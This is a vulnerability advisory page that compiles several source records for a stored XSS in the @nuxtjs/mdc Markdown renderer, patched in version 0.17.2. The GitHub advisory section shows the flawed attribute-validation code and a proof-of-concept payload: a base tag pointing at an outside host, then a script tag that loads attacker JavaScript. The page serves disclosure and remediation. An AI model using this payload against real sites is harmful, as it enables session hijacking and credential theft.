mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

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MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Source published

18 Jul 2025 15:47:38 UTC

Source modified

22 Jul 2025 15:14:53 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Source published

Jul 18, 2025, 3:47:38 PM (timezone not stated)

Source modified

Jul 22, 2025, 3:14:53 PM (timezone not stated)

Saved here

15 Nov 2026 13:15:37 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Source published

18 Jul 2025 16:15:30 UTC

Source modified

17 Jun 2026 09:39:22 UTC

Saved here

25 Oct 2026 02:25:06 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. ### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic**  : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated. ``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked } ``` As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain. ### Proof of Concept Place the following in any Markdown handled by Nuxt MDC: ``` <base href="https://vozec.fr"> <script src="/xss.js"></script> ``` 1. Start the Nuxt app (`npm run dev`). 2. Visit the page. 3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it). ### Impact - **Type**: Stored XSS via remote script inclusion - **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…). - **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts. ### Recommendations 1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely. 2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin. 3. Publish a patched release and document the security fix. 4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.

Source published

20 Jul 2025 16:36:14 UTC

Source modified

10 Sep 2026 03:50:57 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Publisher rating · HIGH